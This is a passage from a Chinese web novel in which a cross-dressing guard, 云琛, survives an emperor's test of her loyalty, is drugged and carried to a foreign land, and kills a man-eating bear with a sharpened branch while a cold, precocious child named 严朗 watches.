云琛立刻秋千荡虎,下腰跪地而去,高高扬臂,稳稳接剑入鞘,宛如将那逍遥银龙收回剑鞘。
“漂亮!”有人忍不住喝彩。
众人纷纷鼓掌赞叹,那曹放老将军更是一把扶起云琛,笑道:
“小兄弟好身手!有没有想过从军啊?”
云琛累得满头大汗,上气不接下气:
“将军过……过奖,草民………草民愧不敢当。”
见手中宝剑不伤分毫,众人都笑看着自己,先前剑拔**张的气氛得以缓和,云琛心里松下一口气,觉得没白费功夫。
南璃君也没想到云琛剑舞的这样好,欣喜地朝高座说道:
“父皇觉得如何?”
众人齐齐看向皇帝,却只见到一张格外阴森的脸。
皇沉低哑着嗓音,缓缓吐出一个字:
“杀。”
话音落下,所有人的表情都僵在脸上。
云琛心中涌上恐惧,正要跪地为这夺她性命的“皇令”谢恩,一旁的霍乾念却语调轻松,带着两分宠溺责怪之意,道:
“云琛,皇上已说‘赏’,你还不快谢恩!”
云琛会意,立刻跪地大喊:“谢皇上赏赐!草民叩领天恩!”
这话一出,所有人都面面相觑,开始怀疑自己的耳朵。
“杀”与“赏”,发音的确相似,加上皇帝声音低沉,确实可能听错。
南璃君也顾不得皇帝到底说的什么,赶紧道:
“赏啊!那父皇想赏什么?什么都好,霍帮皆与有荣焉!”
皇帝轻声冷笑,动了动手指,侍卫随即从旁取出百两黄金,递给云琛。
云琛不知所措地接过黄金,身旁那曹放老将军还揽着她的肩膀大笑,试图劝说她从军去,那笑声如钟鸣一般,震得云琛耳膜疼。
另一位头发银白的老将军孟剑云在座上笑道:
“老曹,你就别夺人所爱了,你若抢了这小兄弟去,只怕霍家小子能抡起轮椅和你拼命!哈哈哈哈哈——”
霍乾念立刻摆出晚辈卖乖的姿态,举杯敬酒:
“孟将军英明!”
一场初雪夜宴总算有惊无险的结束。
回去的路上,云琛慢慢回过味来,才明白刚刚夜宴间几多凶险,她一只脚已跨进阎王殿,却硬生生被霍乾念拉了回来。
她这会才开始觉得两腿发软,连驾马拿缰绳的力气都没有。
好在南璃君派了侍卫驾车,云琛便与霍乾念一同坐在轿厢里。
霍乾念靠卧在短榻上,看着云琛劫后余生似的猛灌水,笑而不语。
云琛拿袖子擦擦额头的汗,长吁一口气:
“少主,我今日应该聪明些的,我压根没有反应过来!”
霍乾念摇头,伴君如伴虎可不是说说而已,这皇宫里——乃至整个京都城,全是满腹算计的人精。
云琛固然聪慧,可她天生就没长“算计”和“阴谋”这两块肉,学是学不来的。
他说:“不必,你做自己便好,皇上见多了心计,偶尔见一个你这样的,也挺好。”
“少主,若再有下次,你别为我出头。我是护卫,应当我护着你,不能让少主为我冒险。”
他不置可否,只是温吞地笑。
她叹口气,逐渐放松下来,开始觉得肚子饿。
好在手边就备有点心,她拿起一块龙须酥要吃,他却递过来一只剥好的青团,嘴角噙着抹笑意。
“吃这个,公主提过,宫里青团做得很好。”
她拿过青团,一口
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吞掉,嚼了两下,立马感觉腮帮子冲天地发酸,酸得她眼泪都出来了。
“怎么是酸枣馅儿的?”她捂着腮帮子,努力不让口水留下来。
见他一脸坏笑,她知道被捉弄了,却不敢拿他如何。
他忍不住笑出声,招手示意,“过来,我给你揉揉穴位,就不酸了。”
她听话地凑过去,蹲在他面前,眼泪汪汪地看着他,眼神里带着嗔怪。
他笑得停不下来,两手捧住她的脸,分别用两指摁住她耳**位,轻轻揉动。
“靠近些,我够着费力。”他说。
她刚起身挪动,马车却压过石头,“咣当”一震,她脚下不稳,一下子扑进他怀里,嘴唇擦着他下巴过去,差点亲上。
他随之长臂一伸,就势揽住她身子。
她大窘,赶忙挣扎着起身,却被他胳膊圈得站不起来。
见他竟没有要放手的意思,她抬头看去——
他睫毛长长的,眼睛里像是拘着绵绵不尽的温柔,看得她脸红心跳,全然忘了自己嘴里没咽下的青团是啥味儿。
感觉再看下去,便要陷入那柔软逃不出,她咽下一大口青团,嘴里含糊着,小声道:
“少主……你放开我呀……”
他仿佛没有听清,“嗯?”了一声,侧耳又靠近她一分,那白皙又俊逸的侧脸已离她极近,让她紧张到简直不敢呼吸。
她突感觉这种紧张竟远胜于方才的夜宴。
她只能咽下嘴里全部青团,结结巴巴道:
“我说那个、那个……放、放开我……”
他一副才听懂的样子,像是刚刚察觉似的,松开胳膊,“哦,忘了。”
不知为何,他虽然脸上没什么表情,但看着那双眼睛,她总觉得他心里在偷笑。
他继续帮她揉耳后,她不满:
“少主,我发现你也挺爱捉弄人的。”
他笑笑,并不回答,只故作惊奇地问:
“云琛,你为何脸这么红?发烧了吗?”
她慌乱地比画,“这不是因为刚才那啥,车一晃,我那啥……就那啥了嘛……”
他还真听懂她的“这啥那啥”了,反问:“你我皆是男子,这点小意外何值一提?”
而后,他轻挑眉,手指离开她的耳后,顺着脸颊滑下,轻轻勾住她下巴,幽幽道:
“除非,你心里有别的念头。”
一瞬间,她感觉心怦怦狂跳起来。
胸腔里那玩意儿已经不是“小鹿乱撞”可以形容的,简直是小鹿发疯!小鹿疯狂!小鹿咣咣拿头撞心房!
她全然不知自己脸红成什么样,还以为掩藏得好着呢,辩解道:
“我是舞剑累得脸热——没错,就是累的!”
第72章 打不过你师父,还打不过你?
除非,你心里有别的念头。
霍乾念笑得那样好看,声音像妖怪一样蛊惑,勾着她的心神。
云琛满脑子都是他的声音他的脸,在床上翻来覆去了半宿,怎么都睡不着。
她感觉一种从来没有过的暖意,正在胸口无限膨胀。
那些她曾经刻意忽略的所有情愫,因为他一句话,全都涌了上来。
她回想起霍家宗庙祠堂里,他身穿玄衣,高坐于烟雾缭绕之中,如天神孤星的俊颜若隐若现;
她回想起他醉酒骑马的那夜,他教她认穴位来着,她却心猿意马,一个字都没听进去,只记得他喉结起伏,说话的时候会轻轻上下滚动,好看极了……
原以为只是错觉,原以为换做任何一个男子,她都会如此。
可怎么未曾察觉,就已深陷如此?
难道……难道……她不敢继续往下想,索性爬起来舞剑。
她舞啊舞,用尽全力舞了半个时辰,跑到镜子前一看——
完了,只有汗,脸压根没红。
她扔下剑,扑在床上,用被子将头整个蒙起来,恨不得给自己一棒槌,晕过去便能睡着了。
躺了片刻,她实在受不了,决心验证个分明。
她冲出屋子,用力拍花绝的房门。
“花绝,你醒醒!”
做护卫的睡觉都轻,花绝迷迷瞪瞪打开房门,揉着眼睛问:
“怎么了?有什么差事?”
云琛不说话,暗自一咬牙,上前抱住花绝。
花绝这辈子还没被男人抱过,吓得他差点大叫。
然而云琛只是抱了一下,又很快松开,什么话也没说,就头也不回地离开了。
搞得花绝猛搓一身鸡皮疙瘩,莫名其妙又心惊肉跳的。
折腾了半宿,云琛终于放弃了。
她迷茫地拖着脚步,走回房。
估摸着今晚肯定睡不着了,她索性爬起来整理屋子。
仿佛越整理,她的心也越明了。
她拿布擦拭镜子,看着里面那装扮成少年模样的脸,心里又乱了起来。
正出神地望着镜子时,她突然用余光瞟到一个瘦长的影子,像条**蛇似的从房梁缓缓探下。
她装作没看见,一边转向擦桌椅,一边脚步移到床边,隐月剑正靠在床头。
她假装漫不经心,在靠近床头的一瞬间突然跳起,一把攥住剑身。
与此同时,一只有力的手也死死摁住了剑柄。
枭泽“嘿嘿”一笑,“小子,下次先拿剑柄,这是师叔教你的!”
说着枭泽凌空飞来一脚,剪住云琛脖颈,腰跨一扭,云琛便晕**过去。
枭泽跳下房梁,扛起云琛,得意道:
“我打不过你师父,还能打不过你?切!”
一个时辰后。
京都皇宫内。
云琛从冰凉的宫砖上幽幽醒来的时候,感觉脖子像被人扭断了一样疼。
她睁开眼,面前是高深幽暗的黑色殿顶。
侍卫首领枭泽抱剑站在一旁,皇帝正在高座上慢悠悠地喝着茶。
云琛大惊,赶忙翻身爬起,叩头请安。
皇帝没有说话,云琛却能感觉到一道极具压迫的视线盘桓在她头顶,压得她一动都不敢动。
“江鸣叫你来杀朕?”皇帝一上来就扔出一炸。
云琛大惊失色,“回皇上,草民没听过这个名字,更无刺杀之意,请皇上明鉴!”
皇帝冷笑一声,“你舞的剑,一招一式都与江鸣如出一辙,你说不认识江鸣?”
她愣住,“可能……还真认识……”
她将在香消崖跟着师父学武,却不知师父姓名来历的事情和盘托出,不敢有一丝遗漏。
听完,枭泽从旁道:
“皇上,照这小家伙说的,倒也符合江鸣的性子。”
皇帝盯着云琛,“江鸣心里记恨朕,只怕这些年只增不减。”
云琛心里发毛,她做梦也没想到,自己那神秘的师父会和皇帝有仇。
“即使今日你无刺杀之意,他日你师父若命你刺杀朕,你该如何?”皇帝像是已将云琛定性为刺客。
云琛想了想,诚恳道:
“回皇上,师父于我,一日为师,终身为父。但天地君亲师,皇上是国君,忠君当比敬父更重。草民虽未读过书,却也知道男
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子汉大丈夫,当以忠君爱国为立人之本。若有一日师父叫草民刺杀皇上,草民愿以性命起誓,将与师父割袍断义!”
见小小少年身量纤瘦,眉清目秀,明明嘴上还没长毛,却信誓旦旦说着“大丈夫”之言,旁边的枭泽差点笑出声。
皇帝一手搭在龙椅扶手上,手指轻轻叩动,像是在考虑云琛话里有几分真。
云琛跪在地上,膝盖酸麻,心里为夜宴时还对皇帝生出几分感慨同情而好笑。
自己小小蝼蚁,竟心疼主宰一国万民生死的皇帝。
良久,皇帝开口:
“若有一日,你师父命你杀朕,依你方才所言,你将与你师父恩断义绝,是吗?”
“回皇上,草民是真心这样想的。”
云琛不知道皇帝下一句打算问什么,有什么陷阱等着她。
但她记着霍乾念说过,做她自己就好。
果然,皇帝又问:
“届时,朕若让你杀你师父。替君弑父,你当如何?”
循着本心,她认真思量,坦诚回答:“皇上,恕草民做不到。”
皇帝冷笑追问:“做不到?做不到又当如何?”
她神色黯然,“如果真有那么一天,草民愿跪劝师父迷途知返,而后以我一命,换师父一命。”
她说罢,俯身叩了个头。
皇帝没有什么反应,但枭泽站在一旁,真想拍两巴掌鼓个掌,赞一句“答得真好!”
又过了一会儿,原以为云琛已用少年赤子心打消了皇帝心头疑虑,却不料皇帝再次开口,语调透出寒意:
“答得好。但你这样的人不能留在霍帮。你忠君,是因为君与父之间分得清楚。可在霍帮与你师父之间,只怕你根本分不清。”
云琛感觉后背发凉,只听皇帝继续道:
“如今霍帮为公主手下大商,你一个‘分不清’,便会置公主于不利——不能留。”
皇帝说完抬手示意,枭泽暗暗叹口气,拔剑朝云琛走去。
看着那隐在烛火下的暗金墨玄的龙袍,那干瘦的老人垂暮却杀意浓盛……
枭泽皱着眉头,执剑步步逼来……
第73章 赏金无限
看着枭泽执剑走来,云琛知道自己一介草民,区区蝼蚁之身,今夜便要交代在这里了。
枭泽的剑搭上云琛的脖子,“皇上赐死,你可说遗言。”
遗言?她说给谁呢?
只有这一句话的机会,她满心只想说给霍乾念听。
她鼻头发酸,眼里霎时涌起泪花。
既干了护卫这一行,生死便早已置之度外。
她从不怕死,此刻却突然怕了。
怕今后再也见不到那张令她心动的脸,心酸她才刚刚明白自己的心意,却永远没有机会对他说了。
她很小就没了娘,很多事没人教,都是她这些年摸爬滚打,自己看人学会的。
可如今她才知道,原来喜欢一个人这件事,不需要任何人教,她天生就会。
她想起霍乾念曾问过一个问题:
“云琛,这‘以命相护’,是对霍帮少主,还是对我?”
此刻,她终于有了答案。
霍帮少主人人做得,可霍乾念永远只有一个。
想到这里,云琛抬头,泪眼望着枭泽:
“劳烦大人带句话给我家少主,就说‘那个问题我有答案了,是第二个’。请大人带到,少主会明白的。”
说罢,她闭上眼睛,准备迎接死亡。
“好,我记下了。”枭泽说着扬起剑,朝她脖颈砍去。
她却突如当头一棒,想到一个极其重要的问题,一把抓住已贴到脖颈的剑刃,阻止了枭泽的动作,急道:
“等等!草民还有一事,请皇上准许!”
皇帝一脸玩味,看戏似的有趣,“什么事?说来听听。”
云琛恭恭敬敬磕了个头,一双澄澈的大眼睛流着泪,道:
“请皇上准许草民自刎。若皇上赐死草民,我家少主待护卫亲厚,必因心中不忍,而与公主生出嫌隙,甚至对皇上您,也会少一分亲近。草民不愿置少主于不忠之地,让少主为难,恳请皇上准许草民自刎,就说是草民心甘情愿的,少主……便不会生烦忧了……”
她说完,再次俯身磕头,额头触在宫砖上,发出“咚”的一声,可见这个头磕得认真,磕得极有决心。
她伏在地上,因此便没有看见皇帝的表情。
枭泽却由衷生出佩服,心说:到底还是拳拳之心最厉害,否则谁人能在一千一万个答案里,独独挑中那唯一正确的答案。
千算万算,不如纯心简单。
皇帝说:“好,朕准了。”
云琛忍着哭腔,大声道:“谢皇上隆恩!”
话音落下,还未来得及起身,她便觉后颈猛然剧痛,接着便什么也不知道了。
看着晕死在地上的云琛,皇帝道:
“江鸣一个老谋深算的叛徒,却养出这么个纯心无邪的徒弟。”
枭泽笑道:“皇上,不瞒您说,我都有点儿羡慕江鸣了。”
另一边,对皇宫内苑中,云琛如何经历生死考验的一切,霍府上下完全不知。
直到第二天上午,众人才发觉不对劲。
从来不睡懒觉的云琛,今日迟迟都未露面。
叶峮在府里转了一大圈,人人都说未见到云琛。
他只得去屋子里找她,还是没人。
最后,叶峮不得不推测出一个荒诞的事实:
云琛失踪了。
而且像是离府出走。
叶峮在云琛的屋子里搜了十八遍,只能对众人说:
“收拾得干干净净,被褥都叠整齐了,隐月剑也未带走。”
花绝跌坐在地上,想起昨夜半夜云琛突如其来的一抱,喃喃落泪:
“原来是诀别之意吗?”
不言抱着头在院子里疯狂行走,“也抱我了!嘴里还嘟囔了一句什么‘果然,没有红,没有跳’,我睡得迷迷糊糊没多想,现在想来确实有问题!我怎么就没反应过来呢?!”
荀戓昨夜在值守,没见到云琛“最后一面”,只连连摇头,一遍遍说“不可能!阿琛不是那种人!”
小六失声痛哭,对着空气大喊:“云哥!为什么?你为什么没来抱抱我?为什么?”
最后,所有人都将视线投向那个坐在廊下的身影。
屋廊下,霍乾念一直面无表情地听着众人讨论。
新修葺的屋门高大宽阔,溢满他浑身散发的凛冽寒意。
“去找公主要人!”他冷声下令。
他料定夜宴之上,皇帝与枭泽对视的那个眼神有问题。
他想了很多种应对之策,甚至想过干脆原迁府搬
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回烟城,却硬是没想到皇帝会连夜动手抓走云琛。
进了宫门便是生死难料。
一想到这里,霍乾念便觉好似油烹肺腑,怒道:
“叶峮!快去!”
甚少见霍乾念发火,叶峮马不停蹄带人去往公主府。
南璃君闻言也很吃惊,连忙入宫探问口风,却得知昨夜宫内并无任何侍卫调动和外派,无人进出宫门。
南璃君问轮值的侍卫:
“那枭泽呢?他行事走动从来不必记档,他是不是亲自出去了?”
轮值的侍卫回答,“回公主,枭泽大人在龙凤栖宫陪皇上看了一夜的书,天快亮时才出来,的确没见出宫门。”
一番寻找无果,叶峮垂头丧气地回到霍府。
众人心焦似火地等了一个白天,却只等到叶峮无奈的摇头。
润禾心里也很难受,走到霍乾念身边,小声道:
“少主,要不先用饭吧?您一整天没吃东西了……”
霍乾念根本听不见,满脑子都在思虑:
不言说,那像密语一样的诀别之言是“果然,没有红,没有跳”,旁人不知,霍乾念心里却分明。
那意思是:果然,对着其他人,她的脸便不会那样红,心便不会跳的那样快。
她在用一种傻的可爱的方式,去确定对他的心意。
所以那根本不是告别,云琛绝不可能离府出走!
如果不是皇帝出手,那么云琛是被仇家悄悄绑了去?是多厉害的仇家,才能在霍帮严密护卫之下来去自如?云琛如何惹到这样的仇家?而且连一点打斗痕迹都没有?
或者是与云琛从不曾言说的家世来历有关?还是与她苦寻多年未果的恩人有关?
一个个念头冲进脑海,又被霍乾念一个个粉碎。
他感觉自己快要疯了,却还是猜不出云琛会在哪里?
他将自己关在书房里,三天三夜未眠,三天三夜没有吃一点东西。
最终,在润禾的哭求下,霍乾念终于面色苍白地打开书房门,嘶哑着嗓子,对跪了一地的护卫们说道:
“通令全国堂口,寻云琛。寻到者,赏金——”
顿了顿,他坚定道:
“霍帮不竭之下,赏金无限。”
第74章 **红
云琛是被野狗一泡尿浇醒的。
她被一股骚臭熏醒,还没看清自己在哪儿,第一反应就是将那野狗拖过来一顿揍。
揍完狗,她又觉得头晕目眩,**的后劲还没过,便又抱着哼哼唧唧的狗睡了过去。
迷迷糊糊中,她想起自己被枭泽抓进宫来着。
老皇帝本来想杀她,却不知为何又改变主意,叫枭泽打晕她。
她记得中途醒来过一次,枭泽将她趴放在马背上,捆结实,往她脖子上挂好干饼和水袋,一边不要钱似的往手帕上倒**,一边说:
“我挺喜欢你这小家伙的,江鸣有这样的徒弟给他养老送终,真是有福。”
她当时神志不清,流着哈喇子回答:
“没事,师叔……我也可以给你送终,只要你高兴,现在就可以……”
枭泽敲了下她的头,“大孝子,你可太孝了。过二十年再说吧,怎么也得先送完你师父再来送我。”
云琛连连答应,“好好好,兄弟一言……驷马难追!”
枭泽知道她是**导致的脑子暂时错乱,并不与她计较。
“记着,今夜的一切,除了对你师父,你一个字都不许往外说。皇上不杀你,准你依然可以留在霍帮,但你每透露一个字,霍家少主便离死更近一步。”
她一听,不乐意了,大着舌头道:
“谁敢动我少主?谁敢?霍乾念……是我的!”
“嚯!厉害!”
“嘿嘿,师叔……我女扮男装来的……意不意外?惊不惊喜?”
“嚯?!**厉害!”
云琛最后的记忆是,枭泽先对着马耳语了一个地名,然后又对她说:
“为了不让霍家少主找皇上闹,只得给你扔远点,你自己回霍府吧,扯什么仇家掳走你都随意。对了,若见到你师父,帮我带个话,就说‘老子还等着他的酒呢’!然后帮我在神仙墓前磕个头,别忘了啊!”
说完,枭泽一把将**糊在她脸上,对着马吹了个“出发”的口哨。
接下来的记忆就全空白了。
云琛四顾一番,驮她的那匹马已经不见了,但她曾在颠簸中醒过好几次,迷迷糊糊吃饼喝水来着,她闻见马身上有一种甜腻发酸的味道。
她很熟悉,那是极其珍贵的阿哈尔捷金马身上特有的湿汗味。
这种马身形高大,性烈难驯。一旦驯服,便极通人性,凶猛擅战,耐力和战斗力皆远超普通马。
此外,这马还有个外号,叫“**红”。
阿哈尔捷金马的汗是深红色的,对它来说,一口气跑个**,方才刚刚出汗见红。
云琛打量身上的衣服,藏青色的服制上,前面全是深红色的汗渍,后面全是她自己昏迷中无意识排出的那啥……
她腰上还挂着半截手腕粗的细铁绳索,像是捆扎着她,硬生生被磨断的。
被“**红”驮着,直跑到绑她的绳索磨断为止,跑到她浑身都是马汗……
她心里哀叹,这不知道得跑了有多远,估计徒步回霍府还得好些天。
好在她有的是力气,大不了找人借匹马,费点功夫也就回去了。
万幸小命还在,还能去见霍乾念,她心里高兴,哼着小曲往有人烟的地方走,遇见一人便问:
“劳驾,请问此处是什么地界?”
那人惊恐地看着浑身脏臭如野人的云琛:
“怒江城外八十里,红河庄。”
她从来没听说过这地名,不禁心里一沉,又问:
“敢问……这里还是楠国吗?”
路人露出看傻子的眼神,“这里当然是东炎!”
她惊愣,不死心地再问:“今日是十月十四吧?”
路人警惕地走远了些,像是防着大傻子,“十二月初十!”
她目瞪口呆地愣在原地。
不是说“扔远点”吗?
这“点”是九**??
这“点”是日夜不休地跑了五十多天??
直接给她扔出国了??
她摸摸身上,除了屎尿,身无分文……
云琛不知道阿哈尔捷金马是怎么驮着她穿过国境线,到达东炎的。
她只知道自己没钱,没马,没剑,肚子饿得咕咕叫,不等徒步到边境线,就会先饿死。
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她琢磨着给人做个短工吧,但沿途经过的都是村子和平民,无事也无闲钱需要雇人。
没办法,她只得发挥老本行,钻进林子,准备打点猎物果腹。
不知道这林子叫什么名字,树木高耸入云,遮天蔽日,随便一棵树都环抱不住。
她寻了根合适的树杈,将一端撇成尖锐样,准备叉只山鸡。
在树林里转悠了半天,山鸡没找到,林子里却突然起了雾。
走了没一会儿,她突然看见不远处似乎有个高大的人影,戴着一顶帽子,正朝她招手。
她大喜过望,觉得自己运气还行,能碰上猎户。
好点的话,人家会送她点东西吃,差点的话,她也能借到弓箭,自己打点猎物,总之不愁饿肚子。
她高兴地小跑过去,只是雾气太浓,看不清脚下的路,差点摔个跟头。
她远远地就喊:
“大哥,小弟云琛,很高兴认识你!”
浓雾中,那高大的猎户身影既没出声说话,也没有别的动作,仍旧在朝她招手。
她心里突然生出一丝异样,不由慢下脚步,暗暗握紧手中树枝。
见她开始停滞不前,那高大的身影放下手,朝她缓缓走来。
只是那身影行走迟钝,好像还挺着个大肚子,她心里更觉得奇怪了。
这种身材和身手,怎么可能当猎户呢。
感觉这种程度的慢动作,远在自己敏捷度之下,她心里警戒稍缓,也迎着对方走去。
在离对方只有两三丈距离的时候,她突然听见头顶传来一个好似刚刚睡醒的声音,对着她沉声道:
“跑!别回头!”
愣了一下,她立刻扭头就跑。
不知道为什么,她凭直觉相信那句话,觉得自己该跑。
果然,她刚跑出去两步,就听身后猛然传来重物捶地的声音,一个粗重的呼吸开始疾速追她。
林中雾太大,她刚才根本没看清对方是什么人。
这会雾散了些,她忍不住好奇回头,脚下不自觉慢了两步——
瞬间,一头巨大的黑熊就贴到了她面前。
第75章 小孩哥
当黑熊那狰狞巨兽的脸贴到眼前时,云琛甚至来不及尖叫。
她头皮一炸,立刻撒开两腿没命狂奔。
身后那黑熊抬起熊掌抓她,锋利尖锐的指甲从她身后挥过,抓破她肩头。
她只感觉像被铁锤抡了一下似的,肩膀处立时一片血肉模糊。
她忍着剧痛,捂着肩膀飞奔逃命。
别说现在手无寸铁了,就是拿着隐月剑,她也没把握能单杀一头大黑熊。
人打起架来有招式,熊可没有,只有一身无穷蛮力和锋利的牙齿,没商没量,只以**为目的。
肩头受伤流血,又不熟悉路,她像只没头苍蝇在林子里乱窜,身后那大黑熊穷追不舍,完全没有要放弃的意思。
跑了一大圈,她最后又跑回了一开始的地方。
树上再次传来声音:
“爬树!这黑熊不会爬树!”
云琛赶紧瞅准最近的一棵树,猴子似的猛窜上去。
那紧追不舍的大黑熊同时追上来,爪子擦着云琛后脑勺而过,一掌拍在了树干上。
云琛手脚并用,一直往上爬了好几丈才停下,惊魂未定地抱着树,累得连连咳嗽。
喘息间,浓雾渐渐散去,她这才看见对面树上坐着一个面色苍白的少年。
看那穿着束发,也就七八岁的样子,说是少年,不如说是小孩更合适。
云琛感觉这辈子都没这么拼命跑过,嗓子都泛起腥甜。
“小孩儿,谢了。”她喘着粗气说。
树底下,扑空的大黑熊发出愤怒的咆哮,连连拿身子撞树。
树干猛晃,云琛差点滑下去,吓得她赶紧抱紧树枝。
“不必害怕,那畜生是恼了,发泄一会儿便会好。”对面树上的小孩开口安慰,显然他之前已经历过。
果然,大黑熊发了会飙,撒完气,就停止了撞树,开始在树下东闻西嗅地转圈。
云琛长吁一口气,累瘫在树杈上。
见那小孩独身一人,身上有些脏乱,但比起云琛好得多,看样子是个有钱人家的孩子,她问:
“小孩儿,你怎么一个人跑到这深山老林里来,多危险啊,你没护卫吗?”
“我叫严朗。”他指指底下正抱着一截东西啃食的大黑熊,“我护卫在那儿。”
云琛顺着方向定睛一看,这才发现那大黑熊竟然抱着一截人腿在啃!
“我进山采药,遇上这畜生。他吃了我三个护卫,又想吃我,便一直在树下徘徊。”严朗说。
云琛瞧他脚腕上裤脚破碎,袜子透着血,显然是大黑熊抓的,不由骂道:
“这畜牲肯定是**上瘾了!”
严朗点头,“没错。它吃不到我,便趁雾伪装成人的样子,拿我护卫的帽子带在头上,又学人的样子站着挥手,就是想迷惑路过的猎户。雾这么大,你若真到跟前才看清它,就跑不掉了。”
以黑熊的身手和体型,它只需往前一扑,云琛便一命呜呼了。
想到这里,云琛不免后怕,既怕那黑熊简直成精,竟会伪装骗人,又叹若没有小孩提醒,她只怕要命丧异国他乡。
“非常感谢你,小孩……”见严朗面露一丝不快,她赶紧改口:
“我是说,严朗小朋友……”
严朗脸色更难看,她又改称:
“小家伙?”
“……”
“童子?”
“……”
“总角?”
“……”
最终,在严朗比黑熊还黑的表情下,她终于找到一个礼貌但不合适的称呼:
“严朗公子,非常感谢你,不然我就要被熊咬断脖子了。”
严朗似乎对这个称呼很满意,“那畜牲抓到人,不咬脖子,而喜欢从脚开始吃,一般要吃到肚子,人才会断气。我那三个护卫都是这样。”
云琛听的一阵恶寒,见严朗叙述得平静,像是在说着一件无关痛痒的事情,她更觉得诡异恐怖。
她突然意识到,这明明看着只有八岁的小孩子,怎么说话的语调和方式,竟和成年人差不多。
“严朗,你几岁?”
严朗静静地看着她,“八岁。”
她拍拍胸脯,“我十九,你得喊我哥。”
严朗没有说话,眸色却冷淡疏离起来。<
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br>二人被困在树上,一个伤了肩膀,一个伤了脚腕。
大黑熊在树下徘徊不止,时不时从草丛里翻出几只人腿人胳膊啃。
在知道它啃的是人,而且还是和她一样同为护卫的人以后,云琛怎么都觉得后背发寒,控制不住地想吐。
严朗明显比她淡定得多,每次大黑熊啃他的护卫的时候,他脸上都没有任何反应,还没有云琛看着难受。
说不上冷漠,也说不上不屑,只是一种……令云琛很不舒服的无视,不在乎。
好像周遭一切都不能进入他的眼,调动他的情绪。
他看自己朝夕相处的护卫的眼神,比看石头还要冰冷。
“严朗,你被困几天了?”
“三天。”
“我们逃吧,这样下去不是个办法。”
云琛盯着大黑熊,开始琢磨法子。
严朗瞧她认真在四周寻觅的样子,“你准备怎么逃?”
她解下已经脏臭的腰带,熟练地往肩膀上缠绕止血,“咱俩一块琢磨琢磨,得找个啥东西引开它才行。”
沉默了一会儿,严朗道:
“你可以用树枝袭击我,我跌下树,吸引了那畜生,你便可以趁它吃我的功夫逃了。”
云琛眼睛瞪得惊悚溜圆,“小孩哥,我云琛干护卫挺久了,活阎王见得多,你这样的‘活菩萨’还是第一次见……”
见严朗谈及这种引开黑熊的法子,那神色比说到他被黑熊活吃的护卫还要平静,云琛突然觉得严朗比黑熊还可怕。
“小孩哥,你爹娘总**你吗?你家里对你不好是不是?”不然云琛实在想不到,有什么理由让一个十二岁的孩子对生死血腥这么淡漠。
严朗轻笑一声,云琛从那笑声里听出十足的“蔑”。
一种很难形容的,高傲却又不着痕迹的蔑。
仿佛从骨子里觉得云琛带着善意的猜测十分无稽可笑。
云琛有点不想再和这个奇怪的小孩说话,谁知严朗打量着她包扎肩膀的动作,还有脏得不可直视的腰带,突然开口道:
“你应该活不过四十岁。”
第76章 单杀大黑熊
“你应该活不过四十岁。”
严朗顶着一张八岁的孩子脸,老气横秋地说。
云琛包扎肩膀的动作一顿,惊讶:“四十?还挺长。”
严朗没有作声,不知是不是被她噎到了。
她利索地包扎完肩膀,立马开始折树枝。
手边没有武器,但好在对面有一棵铁桦树,这是一种生长在北方冰川的树种,若用上好工艺打造,有时比铁还坚硬。
眼下虽不在北方冰川,树长得不算真正结实,但也足够当作武器。
她跳到铁桦树上,选定一根足有**粗的树枝,定力在枝节处,用身子借力下坠,将树枝撇成两尺长短。
她将一撇尖,另一端握在手中,拿半条腰带将树枝与手牢牢捆绑,防止树枝脱落。
握着树枝做成的“**”,她对着空气挥动两下,满意地点头。
看着她熟稔的动作,严朗问:“你是什么人?从军的吗?”
她指指已被大黑熊啃成一条骨头的大腿,“和他们一样,做护卫的。”
严朗望着她的脸,若有所思,而后又问:
“你不是东炎的人吧?”
她觉得对着一个孩子无需防备太多,坦然道了句“我楠国人”,然后瞅准底下已吃饱喝足,正靠树休息的大黑熊,咬咬牙,定住心,一跃而下。
从严朗的角度,只看见云琛上一瞬还在好端端地说着话,下一瞬便目光一狠,决绝地跳下树。
严朗大惊,赶忙起身朝树下看去。
伴着大黑熊一声惨叫怒号,严朗看见云琛骑在大黑熊脖子上,两腿死死剪住熊脖子,手中树枝“**”已深深插入黑熊一只眼睛。
大黑熊愤怒地甩头挣扎,云琛却一手紧攥熊耳朵,另一只手更加用力地将“**”往熊眼里插,甚至开始搅动。
剧痛加狂怒,大黑熊发出骇人的嘶嚎声,不停地拿熊掌去抓云琛。
很快,严朗看见云琛后背衣服被抓破,鲜血肉眼可见地成线流下。
可她仿佛感觉不到痛似的,竟大喝一声,直接两手抓住“**”,倾尽全力猛插猛搅。
大黑熊吃痛摔倒,任它怎么摇头甩尾地挣扎,她都丝毫没有放手,好似铁焊在它身上一般。
严朗看得人都麻了,眼都不眨地盯着下面。
他看见大黑熊疼得在地上打滚,庞大的身躯一次次从云琛身上压过。
它想逃,便用整个身子朝树撞去,带着云琛一次次撞击在树干上,企图甩开云琛。
在阵阵嘶吼声中,大黑熊带着云琛摔下一个小土坡,一人一熊摔进草丛里,搏斗间激起杂草和尘土疯狂**。
严朗极力探出身子,根本看不清云琛到底如何,只能看见草木狂舞不停。
不知过了多久,大黑熊的嘶吼声越来越弱,渐渐停息……
严朗瞪着草丛,不知道该不该开口大喊“云琛”。
片刻之后,只见一地狼藉的树木草丛之中,一道浑身是血的身影缓缓站起,气势厉如夜枭,令人心悸。
云琛累得急促喘息,手不停地颤抖,缓了好一会才平复。
她将已深深勒入皮肉的腰带拆下,那原本与手牢牢捆在一起的树枝,已经全部碎裂成针、片,扎进手掌中。
她胡乱将手掌在身上抹了一把,然后走到严朗的树下,张开两臂,道:
“跳下来吧,我接着你。”
见她还有命说话,严朗长吁一口气,这才察觉自己后背竟全汗湿了。
他见过很多勇敢的护卫,可从来没见过这么猛又不要命的。
没武器,没盾牌,只凭一根**粗的树枝,一身敏捷又精准的好武艺,就敢和一头凶残的大黑熊单挑。
严朗跳下树,落进云琛怀抱,近距离看,这才发现她衣衫脏污又破碎,后背腰部、肩膀、大腿……很多地方都已经血肉模糊,碎肉正挂在伤口上晃悠。
“我刚才说得不准。”严朗正色,“你最多活到三十岁。”
她毫不在意地摆
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手,“足够了”。
严朗无话可接。
他第一次听见有人对于寿命这件事,对于短短十一年这件事,说“足够了”。
他开始用探究的目光去看她,却仿佛见莲花于污泥,只能从那一身脏乱不堪中,看见凌厉的夜色褪去,留下一双干净通透的眼睛。
见严朗脚腕有伤,她蹲下来,指指肩膀,“趴上来,我背你。咱们走出林子,找个村子歇脚。”
感觉到严朗没动弹,她扭头看去。
严朗眉头紧锁,眼睛正看着她肩膀处。
她顺着他视线,看向自己一片血糊的肩膀,不由气笑:
